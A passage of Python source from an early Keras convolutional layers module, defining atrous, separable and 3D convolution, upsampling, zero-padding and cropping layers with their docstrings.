        `(samples, new_rows, new_cols, nb_filter)` if dim_ordering='tf'.
        `rows` and `cols` values might have changed due to padding.

    # References
        - [Multi-Scale Context Aggregation by Dilated Convolutions](https://arxiv.org/abs/1511.07122)
    '''
    def __init__(self, nb_filter, nb_row, nb_col,
                 init='glorot_uniform', activation='linear', weights=None,
                 border_mode='valid', subsample=(1, 1),
                 atrous_rate=(1, 1), dim_ordering='default',
                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
                 W_constraint=None, b_constraint=None,
                 bias=True, **kwargs):
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()

        if border_mode not in {'valid', 'same'}:
            raise Exception('Invalid border mode for AtrousConv2D:', border_mode)

        self.atrous_rate = tuple(atrous_rate)

        super(AtrousConvolution2D, self).__init__(nb_filter, nb_row, nb_col,
                                                  init=init, activation=activation,
                                                  weights=weights, border_mode=border_mode,
                                                  subsample=subsample, dim_ordering=dim_ordering,
                                                  W_regularizer=W_regularizer, b_regularizer=b_regularizer,
                                                  activity_regularizer=activity_regularizer,
                                                  W_constraint=W_constraint, b_constraint=b_constraint,
                                                  bias=bias, **kwargs)

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            rows = input_shape[2]
            cols = input_shape[3]
        elif self.dim_ordering == 'tf':
            rows = input_shape[1]
            cols = input_shape[2]
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        rows = conv_output_length(rows, self.nb_row, self.border_mode,
                                  self.subsample[0], dilation=self.atrous_rate[0])
        cols = conv_output_length(cols, self.nb_col, self.border_mode,
                                  self.subsample[1], dilation=self.atrous_rate[1])

        if self.dim_ordering == 'th':
            return (input_shape[0], self.nb_filter, rows, cols)
        elif self.dim_ordering == 'tf':
            return (input_shape[0], rows, cols, self.nb_filter)
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        output = K.conv2d(x, self.W, strides=self.subsample,
                          border_mode=self.border_mode,
                          dim_ordering=self.dim_ordering,
                          filter_shape=self.W_shape,
                          filter_dilation=self.atrous_rate)
        if self.bias:
            if self.dim_ordering == 'th':
                output += K.reshape(self.b, (1, self.nb_filter, 1, 1))
            elif self.dim_ordering == 'tf':
                output += K.reshape(self.b, (1, 1, 1, self.nb_filter))
            else:
                raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
        output = self.activation(output)
        return output

    def get_config(self):
        config = {'atrous_rate': self.atrous_rate}
        base_config = super(AtrousConvolution2D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class SeparableConvolution2D(Layer):
    '''Separable convolution operator for 2D inputs.

    Separable convolutions consist in first performing
    a depthwise spatial convolution
    (which acts on each input channel separately)
    followed by a pointwise convolution which mixes together the resulting
    output channels. The `depth_multiplier` argument controls how many
    output channels are generated per input channel in the depthwise step.

    Intuitively, separable convolutions can be understood as
    a way to factorize a convolution kernel into two smaller kernels,
    or as an extreme version of an Inception block.

    When using this layer as the first layer in a model,
    provide the keyword argument `input_shape`
    (tuple of integers, does not include the sample axis),
    e.g. `input_shape=(3, 128, 128)` for 128x128 RGB pictures.

    # Arguments
        nb_filter: Number of convolution filters to use.
        nb_row: Number of rows in the convolution kernel.
        nb_col: Number of columns in the convolution kernel.
        init: name of initialization function for the weights of the layer
            (see [initializations](../initializations.md)), or alternatively,
            Theano function to use for weights initialization.
            This parameter is only relevant if you don't pass
            a `weights` argument.
        activation: name of activation function to use
            (see [activations](../activations.md)),
            or alternatively, elementwise Theano function.
            If you don't specify anything, no activation is applied
            (ie. "linear" activation: a(x) = x).
        weights: list of numpy arrays to set as initial weights.
        border_mode: 'valid' or 'same'.
        subsample: tuple of length 2. Factor by which to subsample output.
            Also called strides elsewhere.
        depth_multiplier: how many output channel to use per input channel
            for the depthwise convolution step.
        atrous_rate: tuple of length 2. Factor for kernel dilation.
            Also called filter_dilation elsewhere.
        depthwise_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the depthwise weights matrix.
        pointwise_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the pointwise weights matrix.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
            applied to the network output.
        depthwise_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the depthwise weights matrix.
        pointwise_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the pointwise weights matrix.
        b_constraint: instance of the [constraints](../constraints.md) module,
            applied to the bias.
        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
            (the depth) is at index 1, in 'tf' mode is it at index 3.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".
        bias: whether to include a bias
            (i.e. make the layer affine rather than linear).

    # Input shape
        4D tensor with shape:
        `(samples, channels, rows, cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, rows, cols, channels)` if dim_ordering='tf'.

    # Output shape
        4D tensor with shape:
        `(samples, nb_filter, new_rows, new_cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, new_rows, new_cols, nb_filter)` if dim_ordering='tf'.
        `rows` and `cols` values might have changed due to padding.
    '''
    def __init__(self, nb_filter, nb_row, nb_col,
                 init='glorot_uniform', activation='linear', weights=None,
                 border_mode='valid', subsample=(1, 1),
                 depth_multiplier=1, dim_ordering='default',
                 depthwise_regularizer=None, pointwise_regularizer=None,
                 b_regularizer=None, activity_regularizer=None,
                 depthwise_constraint=None, pointwise_constraint=None,
                 b_constraint=None,
                 bias=True, **kwargs):

        if K._BACKEND != 'tensorflow':
            raise Exception('SeparableConv2D is only available '
                            'with TensorFlow for the time being.')

        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()

        if border_mode not in {'valid', 'same'}:
            raise Exception('Invalid border mode for SeparableConv2D:', border_mode)

        if border_mode not in {'valid', 'same'}:
            raise Exception('Invalid border mode for SeparableConv2D:', border_mode)
        self.nb_filter = nb_filter
        self.nb_row = nb_row
        self.nb_col = nb_col
        self.init = initializations.get(init, dim_ordering=dim_ordering)
        self.activation = activations.get(activation)
        assert border_mode in {'valid', 'same'}, 'border_mode must be in {valid, same}'
        self.border_mode = border_mode
        self.subsample = tuple(subsample)
        self.depth_multiplier = depth_multiplier
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering

        self.depthwise_regularizer = regularizers.get(depthwise_regularizer)
        self.pointwise_regularizer = regularizers.get(pointwise_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.activity_regularizer = regularizers.get(activity_regularizer)

        self.depthwise_constraint = constraints.get(depthwise_constraint)
        self.pointwise_constraint = constraints.get(pointwise_constraint)
        self.b_constraint = constraints.get(b_constraint)

        self.bias = bias
        self.input_spec = [InputSpec(ndim=4)]
        self.initial_weights = weights
        super(SeparableConvolution2D, self).__init__(**kwargs)

    def build(self, input_shape):
        if self.dim_ordering == 'th':
            stack_size = input_shape[1]
            depthwise_shape = (self.depth_multiplier, stack_size, self.nb_row, self.nb_col)
            pointwise_shape = (self.nb_filter, self.depth_multiplier * stack_size, 1, 1)
        elif self.dim_ordering == 'tf':
            stack_size = input_shape[3]
            depthwise_shape = (self.nb_row, self.nb_col, stack_size, self.depth_multiplier)
            pointwise_shape = (1, 1, self.depth_multiplier * stack_size, self.nb_filter)
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
        self.depthwise_kernel = self.init(depthwise_shape,
                                          name='{}_depthwise_kernel'.format(self.name))
        self.pointwise_kernel = self.init(pointwise_shape,
                                          name='{}_pointwise_kernel'.format(self.name))
        if self.bias:
            self.b = K.zeros((self.nb_filter,), name='{}_b'.format(self.name))
            self.trainable_weights = [self.depthwise_kernel,
                                      self.pointwise_kernel,
                                      self.b]
        else:
            self.trainable_weights = [self.depthwise_kernel,
                                      self.pointwise_kernel]
        self.regularizers = []
        if self.depthwise_regularizer:
            self.depthwise_regularizer.set_param(self.depthwise_kernel)
            self.regularizers.append(self.depthwise_regularizer)
        if self.pointwise_regularizer:
            self.pointwise_regularizer.set_param(self.pointwise_kernel)
            self.regularizers.append(self.pointwise_regularizer)
        if self.bias and self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)
        if self.activity_regularizer:
            self.activity_regularizer.set_layer(self)
            self.regularizers.append(self.activity_regularizer)

        self.constraints = {}
        if self.depthwise_constraint:
            self.constraints[self.depthwise_kernel] = self.depthwise_constraint
        if self.pointwise_constraint:
            self.constraints[self.pointwise_kernel] = self.pointwise_constraint
        if self.bias and self.b_constraint:
            self.constraints[self.b] = self.b_constraint

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            rows = input_shape[2]
            cols = input_shape[3]
        elif self.dim_ordering == 'tf':
            rows = input_shape[1]
            cols = input_shape[2]
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        rows = conv_output_length(rows, self.nb_row,
                                  self.border_mode, self.subsample[0])
        cols = conv_output_length(cols, self.nb_col,
                                  self.border_mode, self.subsample[1])

        if self.dim_ordering == 'th':
            return (input_shape[0], self.nb_filter, rows, cols)
        elif self.dim_ordering == 'tf':
            return (input_shape[0], rows, cols, self.nb_filter)
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        output = K.separable_conv2d(x, self.depthwise_kernel,
                                    self.pointwise_kernel,
                                    strides=self.subsample,
                                    border_mode=self.border_mode,
                                    dim_ordering=self.dim_ordering)
        if self.bias:
            if self.dim_ordering == 'th':
                output += K.reshape(self.b, (1, self.nb_filter, 1, 1))
            elif self.dim_ordering == 'tf':
                output += K.reshape(self.b, (1, 1, 1, self.nb_filter))
            else:
                raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
        output = self.activation(output)
        return output

    def get_config(self):
        config = {'nb_filter': self.nb_filter,
                  'nb_row': self.nb_row,
                  'nb_col': self.nb_col,
                  'init': self.init.__name__,
                  'activation': self.activation.__name__,
                  'border_mode': self.border_mode,
                  'subsample': self.subsample,
                  'depth_multiplier': self.depth_multiplier,
                  'dim_ordering': self.dim_ordering,
                  'depthwise_regularizer': self.depthwise_regularizer.get_config() if self.depthwise_regularizer else None,
                  'pointwise_regularizer': self.depthwise_regularizer.get_config() if self.depthwise_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
                  'depthwise_constraint': self.depthwise_constraint.get_config() if self.depthwise_constraint else None,
                  'pointwise_constraint': self.pointwise_constraint.get_config() if self.pointwise_constraint else None,
                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
                  'bias': self.bias}
        base_config = super(SeparableConvolution2D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Convolution3D(Layer):
    '''Convolution operator for filtering windows of three-dimensional inputs.
    When using this layer as the first layer in a model,
    provide the keyword argument `input_shape`
    (tuple of integers, does not include the sample axis),
    e.g. `input_shape=(3, 10, 128, 128)` for 10 frames of 128x128 RGB pictures.

    # Arguments
        nb_filter: Number of convolution filters to use.
        kernel_dim1: Length of the first dimension in the convolution kernel.
        kernel_dim2: Length of the second dimension in the convolution kernel.
        kernel_dim3: Length of the third dimension in the convolution kernel.
        init: name of initialization function for the weights of the layer
            (see [initializations](../initializations.md)), or alternatively,
            Theano function to use for weights initialization.
            This parameter is only relevant if you don't pass
            a `weights` argument.
        activation: name of activation function to use
            (see [activations](../activations.md)),
            or alternatively, elementwise Theano function.
            If you don't specify anything, no activation is applied
            (ie. "linear" activation: a(x) = x).
        weights: list of Numpy arrays to set as initial weights.
        border_mode: 'valid' or 'same'.
        subsample: tuple of length 3. Factor by which to subsample output.
            Also called strides elsewhere.
            Note: 'subsample' is implemented by slicing the output of conv3d with strides=(1,1,1).
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the main weights matrix.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
            applied to the network output.
        W_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the main weights matrix.
        b_constraint: instance of the [constraints](../constraints.md) module,
            applied to the bias.
        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
            (the depth) is at index 1, in 'tf' mode is it at index 4.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".
        bias: whether to include a bias (i.e. make the layer affine rather than linear).

    # Input shape
        5D tensor with shape:
        `(samples, channels, conv_dim1, conv_dim2, conv_dim3)` if dim_ordering='th'
        or 5D tensor with shape:
        `(samples, conv_dim1, conv_dim2, conv_dim3, channels)` if dim_ordering='tf'.

    # Output shape
        5D tensor with shape:
        `(samples, nb_filter, new_conv_dim1, new_conv_dim2, new_conv_dim3)` if dim_ordering='th'
        or 5D tensor with shape:
        `(samples, new_conv_dim1, new_conv_dim2, new_conv_dim3, nb_filter)` if dim_ordering='tf'.
        `new_conv_dim1`, `new_conv_dim2` and `new_conv_dim3` values might have changed due to padding.
    '''

    def __init__(self, nb_filter, kernel_dim1, kernel_dim2, kernel_dim3,
                 init='glorot_uniform', activation='linear', weights=None,
                 border_mode='valid', subsample=(1, 1, 1), dim_ordering='default',
                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
                 W_constraint=None, b_constraint=None,
                 bias=True, **kwargs):
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()

        if border_mode not in {'valid', 'same'}:
            raise Exception('Invalid border mode for Convolution3D:', border_mode)
        self.nb_filter = nb_filter
        self.kernel_dim1 = kernel_dim1
        self.kernel_dim2 = kernel_dim2
        self.kernel_dim3 = kernel_dim3
        self.init = initializations.get(init, dim_ordering=dim_ordering)
        self.activation = activations.get(activation)
        assert border_mode in {'valid', 'same'}, 'border_mode must be in {valid, same}'
        self.border_mode = border_mode
        self.subsample = tuple(subsample)
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering

        self.W_regularizer = regularizers.get(W_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.activity_regularizer = regularizers.get(activity_regularizer)

        self.W_constraint = constraints.get(W_constraint)
        self.b_constraint = constraints.get(b_constraint)

        self.bias = bias
        self.input_spec = [InputSpec(ndim=5)]
        self.initial_weights = weights
        super(Convolution3D, self).__init__(**kwargs)

    def build(self, input_shape):
        assert len(input_shape) == 5
        self.input_spec = [InputSpec(shape=input_shape)]

        if self.dim_ordering == 'th':
            stack_size = input_shape[1]
            self.W_shape = (self.nb_filter, stack_size,
                            self.kernel_dim1, self.kernel_dim2, self.kernel_dim3)
        elif self.dim_ordering == 'tf':
            stack_size = input_shape[4]
            self.W_shape = (self.kernel_dim1, self.kernel_dim2, self.kernel_dim3,
                            stack_size, self.nb_filter)
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        self.W = self.init(self.W_shape, name='{}_W'.format(self.name))
        if self.bias:
            self.b = K.zeros((self.nb_filter,), name='{}_b'.format(self.name))
            self.trainable_weights = [self.W, self.b]
        else:
            self.trainable_weights = [self.W]

        self.regularizers = []
        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)

        if self.bias and self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)

        if self.activity_regularizer:
            self.activity_regularizer.set_layer(self)
            self.regularizers.append(self.activity_regularizer)

        self.constraints = {}
        if self.W_constraint:
            self.constraints[self.W] = self.W_constraint
        if self.bias and self.b_constraint:
            self.constraints[self.b] = self.b_constraint

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            conv_dim1 = input_shape[2]
            conv_dim2 = input_shape[3]
            conv_dim3 = input_shape[4]
        elif self.dim_ordering == 'tf':
            conv_dim1 = input_shape[1]
            conv_dim2 = input_shape[2]
            conv_dim3 = input_shape[3]
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        conv_dim1 = conv_output_length(conv_dim1, self.kernel_dim1,
                                       self.border_mode, self.subsample[0])
        conv_dim2 = conv_output_length(conv_dim2, self.kernel_dim2,
                                       self.border_mode, self.subsample[1])
        conv_dim3 = conv_output_length(conv_dim3, self.kernel_dim3,
                                       self.border_mode, self.subsample[2])

        if self.dim_ordering == 'th':
            return (input_shape[0], self.nb_filter, conv_dim1, conv_dim2, conv_dim3)
        elif self.dim_ordering == 'tf':
            return (input_shape[0], conv_dim1, conv_dim2, conv_dim3, self.nb_filter)
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        input_shape = self.input_spec[0].shape
        output = K.conv3d(x, self.W, strides=self.subsample,
                          border_mode=self.border_mode,
                          dim_ordering=self.dim_ordering,
                          volume_shape=input_shape,
                          filter_shape=self.W_shape)
        if self.bias:
            if self.dim_ordering == 'th':
                output += K.reshape(self.b, (1, self.nb_filter, 1, 1, 1))
            elif self.dim_ordering == 'tf':
                output += K.reshape(self.b, (1, 1, 1, 1, self.nb_filter))
            else:
                raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
        output = self.activation(output)
        return output

    def get_config(self):
        config = {'nb_filter': self.nb_filter,
                  'kernel_dim1': self.kernel_dim1,
                  'kernel_dim2': self.kernel_dim2,
                  'kernel_dim3': self.kernel_dim3,
                  'dim_ordering': self.dim_ordering,
                  'init': self.init.__name__,
                  'activation': self.activation.__name__,
                  'border_mode': self.border_mode,
                  'subsample': self.subsample,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
                  'bias': self.bias}
        base_config = super(Convolution3D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class UpSampling1D(Layer):
    '''Repeat each temporal step `length` times along the time axis.

    # Arguments
        length: integer. Upsampling factor.

    # Input shape
        3D tensor with shape: `(samples, steps, features)`.

    # Output shape
        3D tensor with shape: `(samples, upsampled_steps, features)`.
    '''

    def __init__(self, length=2, **kwargs):
        self.length = length
        self.input_spec = [InputSpec(ndim=3)]
        super(UpSampling1D, self).__init__(**kwargs)

    def get_output_shape_for(self, input_shape):
        length = self.length * input_shape[1] if input_shape[1] is not None else None
        return (input_shape[0], length, input_shape[2])

    def call(self, x, mask=None):
        output = K.repeat_elements(x, self.length, axis=1)
        return output

    def get_config(self):
        config = {'length': self.length}
        base_config = super(UpSampling1D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class UpSampling2D(Layer):
    '''Repeat the rows and columns of the data
    by size[0] and size[1] respectively.

    # Arguments
        size: tuple of 2 integers. The upsampling factors for rows and columns.
        dim_ordering: 'th' or 'tf'.
            In 'th' mode, the channels dimension (the depth)
            is at index 1, in 'tf' mode is it at index 3.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".

    # Input shape
        4D tensor with shape:
        `(samples, channels, rows, cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, rows, cols, channels)` if dim_ordering='tf'.

    # Output shape
        4D tensor with shape:
        `(samples, channels, upsampled_rows, upsampled_cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, upsampled_rows, upsampled_cols, channels)` if dim_ordering='tf'.
    '''

    def __init__(self, size=(2, 2), dim_ordering='default', **kwargs):
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        self.size = tuple(size)
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering
        self.input_spec = [InputSpec(ndim=4)]
        super(UpSampling2D, self).__init__(**kwargs)

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            width = self.size[0] * input_shape[2] if input_shape[2] is not None else None
            height = self.size[1] * input_shape[3] if input_shape[3] is not None else None
            return (input_shape[0],
                    input_shape[1],
                    width,
                    height)
        elif self.dim_ordering == 'tf':
            width = self.size[0] * input_shape[1] if input_shape[1] is not None else None
            height = self.size[1] * input_shape[2] if input_shape[2] is not None else None
            return (input_shape[0],
                    width,
                    height,
                    input_shape[3])
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        return K.resize_images(x, self.size[0], self.size[1],
                               self.dim_ordering)

    def get_config(self):
        config = {'size': self.size}
        base_config = super(UpSampling2D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class UpSampling3D(Layer):
    '''Repeat the first, second and third dimension of the data
    by size[0], size[1] and size[2] respectively.

    # Arguments
        size: tuple of 3 integers. The upsampling factors for dim1, dim2 and dim3.
        dim_ordering: 'th' or 'tf'.
            In 'th' mode, the channels dimension (the depth)
            is at index 1, in 'tf' mode is it at index 4.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".

    # Input shape
        5D tensor with shape:
        `(samples, channels, dim1, dim2, dim3)` if dim_ordering='th'
        or 5D tensor with shape:
        `(samples, dim1, dim2, dim3, channels)` if dim_ordering='tf'.

    # Output shape
        5D tensor with shape:
        `(samples, channels, upsampled_dim1, upsampled_dim2, upsampled_dim3)` if dim_ordering='th'
        or 5D tensor with shape:
        `(samples, upsampled_dim1, upsampled_dim2, upsampled_dim3, channels)` if dim_ordering='tf'.
    '''

    def __init__(self, size=(2, 2, 2), dim_ordering='default', **kwargs):
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        self.size = tuple(size)
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering
        self.input_spec = [InputSpec(ndim=5)]
        super(UpSampling3D, self).__init__(**kwargs)

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            dim1 = self.size[0] * input_shape[2] if input_shape[2] is not None else None
            dim2 = self.size[1] * input_shape[3] if input_shape[3] is not None else None
            dim3 = self.size[2] * input_shape[4] if input_shape[4] is not None else None
            return (input_shape[0],
                    input_shape[1],
                    dim1,
                    dim2,
                    dim3)
        elif self.dim_ordering == 'tf':
            dim1 = self.size[0] * input_shape[1] if input_shape[1] is not None else None
            dim2 = self.size[1] * input_shape[2] if input_shape[2] is not None else None
            dim3 = self.size[2] * input_shape[3] if input_shape[3] is not None else None
            return (input_shape[0],
                    dim1,
                    dim2,
                    dim3,
                    input_shape[4])
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        return K.resize_volumes(x, self.size[0], self.size[1], self.size[2],
                                self.dim_ordering)

    def get_config(self):
        config = {'size': self.size}
        base_config = super(UpSampling3D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class ZeroPadding1D(Layer):
    '''Zero-padding layer for 1D input (e.g. temporal sequence).

    # Arguments
        padding: int
            How many zeros to add at the beginning and end of
            the padding dimension (axis 1).

    # Input shape
        3D tensor with shape (samples, axis_to_pad, features)

    # Output shape
        3D tensor with shape (samples, padded_axis, features)
    '''

    def __init__(self, padding=1, **kwargs):
        super(ZeroPadding1D, self).__init__(**kwargs)
        self.padding = padding
        self.input_spec = [InputSpec(ndim=3)]

    def get_output_shape_for(self, input_shape):
        length = input_shape[1] + self.padding * 2 if input_shape[1] is not None else None
        return (input_shape[0],
                length,
                input_shape[2])

    def call(self, x, mask=None):
        return K.temporal_padding(x, padding=self.padding)

    def get_config(self):
        config = {'padding': self.padding}
        base_config = super(ZeroPadding1D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class ZeroPadding2D(Layer):
    '''Zero-padding layer for 2D input (e.g. picture).

    # Arguments
        padding: tuple of int (length 2)
            How many zeros to add at the beginning and end of
            the 2 padding dimensions (axis 3 and 4).
        dim_ordering: 'th' or 'tf'.
            In 'th' mode, the channels dimension (the depth)
            is at index 1, in 'tf' mode is it at index 3.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".

    # Input shape
        4D tensor with shape:
        (samples, depth, first_axis_to_pad, second_axis_to_pad)

    # Output shape
        4D tensor with shape:
        (samples, depth, first_padded_axis, second_padded_axis)
    '''

    def __init__(self, padding=(1, 1), dim_ordering='default', **kwargs):
        super(ZeroPadding2D, self).__init__(**kwargs)
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        self.padding = tuple(padding)
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering
        self.input_spec = [InputSpec(ndim=4)]

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            width = input_shape[2] + 2 * self.padding[0] if input_shape[2] is not None else None
            height = input_shape[3] + 2 * self.padding[1] if input_shape[3] is not None else None
            return (input_shape[0],
                    input_shape[1],
                    width,
                    height)
        elif self.dim_ordering == 'tf':
            width = input_shape[1] + 2 * self.padding[0] if input_shape[1] is not None else None
            height = input_shape[2] + 2 * self.padding[1] if input_shape[2] is not None else None
            return (input_shape[0],
                    width,
                    height,
                    input_shape[3])
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        return K.spatial_2d_padding(x, padding=self.padding,
                                    dim_ordering=self.dim_ordering)

    def get_config(self):
        config = {'padding': self.padding}
        base_config = super(ZeroPadding2D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class ZeroPadding3D(Layer):
    '''Zero-padding layer for 3D data (spatial or spatio-temporal).

    # Arguments
        padding: tuple of int (length 3)
            How many zeros to add at the beginning and end of
            the 3 padding dimensions (axis 3, 4 and 5).
        dim_ordering: 'th' or 'tf'.
            In 'th' mode, the channels dimension (the depth)
            is at index 1, in 'tf' mode is it at index 4.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".

    # Input shape
        5D tensor with shape:
        (samples, depth, first_axis_to_pad, second_axis_to_pad, third_axis_to_pad)

    # Output shape
        5D tensor with shape:
        (samples, depth, first_padded_axis, second_padded_axis, third_axis_to_pad)
    '''

    def __init__(self, padding=(1, 1, 1), dim_ordering='default', **kwargs):
        super(ZeroPadding3D, self).__init__(**kwargs)
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        self.padding = tuple(padding)
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering
        self.input_spec = [InputSpec(ndim=5)]

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            dim1 = input_shape[2] + 2 * self.padding[0] if input_shape[2] is not None else None
            dim2 = input_shape[3] + 2 * self.padding[1] if input_shape[3] is not None else None
            dim3 = input_shape[4] + 2 * self.padding[2] if input_shape[4] is not None else None
            return (input_shape[0],
                    input_shape[1],
                    dim1,
                    dim2,
                    dim3)
        elif self.dim_ordering == 'tf':
            dim1 = input_shape[1] + 2 * self.padding[0] if input_shape[1] is not None else None
            dim2 = input_shape[2] + 2 * self.padding[1] if input_shape[2] is not None else None
            dim3 = input_shape[3] + 2 * self.padding[2] if input_shape[3] is not None else None
            return (input_shape[0],
                    dim1,
                    dim2,
                    dim3,
                    input_shape[4])
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        return K.spatial_3d_padding(x, padding=self.padding,
                                    dim_ordering=self.dim_ordering)

    def get_config(self):
        config = {'padding': self.padding}
        base_config = super(ZeroPadding3D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))

class Cropping1D(Layer):
    '''Cropping layer for 1D input (e.g. temporal sequence).
    It crops along the time dimension (axis 1).

    # Arguments
        cropping: tuple of int (length 2)
            How many units should be trimmed off at the beginning and end of
            the cropping dimension (axis 1).

    # Input shape
        3D tensor with shape (samples, axis_to_crop, features)

    # Output shape
        3D tensor with shape (samples, cropped_axis, features)
    '''

    def __init__(self, cropping=(1, 1), **kwargs):
        super(Cropping1D, self).__init__(**kwargs)
        self.cropping = tuple(cropping)
        assert len(self.cropping) == 2, 'cropping must be a tuple length of 2'
        self.input_spec = [InputSpec(ndim=3)] # redundant due to build()?       

    def build(self, input_shape):
        self.input_spec = [InputSpec(shape=input_shape)]

    def get_output_shape_for(self, input_shape):
        length = input_shape[1] - self.cropping[0] - self.cropping[1] if input_shape[1] is not None else None
        return (input_shape[0],
                length,
                input_shape[2])

    def call(self, x, mask=None):
        input_shape = self.input_spec[0].shape
        return x[:, self.cropping[0]:input_shape[1]-self.cropping[1], :]

    def get_config(self):
        config = {'cropping': self.cropping}
        base_config = super(Cropping1D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))

class Cropping2D(Layer):
    '''Cropping layer for 2D input (e.g. picture).
    It crops along spatial dimensions, i.e. width and height.

    # Arguments
        cropping: tuple of tuple of int (length 2)
            How many units should be trimmed off at the beginning and end of
            the 2 cropping dimensions (width, height).
        dim_ordering: 'th' or 'tf'.
            In 'th' mode, the channels dimension (the depth)
            is at index 1, in 'tf' mode is it at index 3.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
